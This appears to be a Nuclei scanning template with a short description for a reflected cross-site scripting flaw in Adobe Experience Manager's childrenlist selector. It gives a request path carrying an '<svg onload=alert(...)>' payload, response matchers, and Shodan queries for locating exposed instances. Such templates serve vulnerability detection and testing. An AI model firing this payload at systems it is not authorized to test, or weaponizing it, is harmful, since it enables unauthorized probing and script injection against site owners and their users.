Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the selector childlist when the dispatcher does not respect the content-type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser.
PoC
id: aem-xss-childlist-selector
info:
name: Adobe Experience Manager - Cross-Site Scripting
author: dhiyaneshDk
severity: high
description: |
Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the selector childlist when the dispatcher does not respect the content-type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser.
reference:
- https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/xss/FlippingTypeWithChildrenlistSelector.java
- https://cystack.net/en/plugins/cystack.remote.aem_childlist_selector_xss
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79,CWE-83
metadata:
max-request: 1
shodan-query:
- http.title:"AEM Sign In"
- http.component:"Adobe Experience Manager"
tags: xss,aem,adobe,misconfig,vuln
http:
- method: GET
path:
- '{{BaseURL}}/etc/designs/xh1x.childrenlist.json//<svg onload=alert(document.domain)>.html'
matchers-condition: and
matchers:
- type: word
words:
- '<svg onload=alert(document.domain)>'
- '{"path":"/etc/designs/xh1x.childrenlist.json'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502207191e52ba50c992991fc74bc25dbf9dfc6c2b7b8cc26c6da3656140751a9b227022100bf6709cd32fdf95f27f9d3bbb69ddccc858079e8749b4a1bbef0220d62b4725c:922c64590222798bb761d5b6d8e72950
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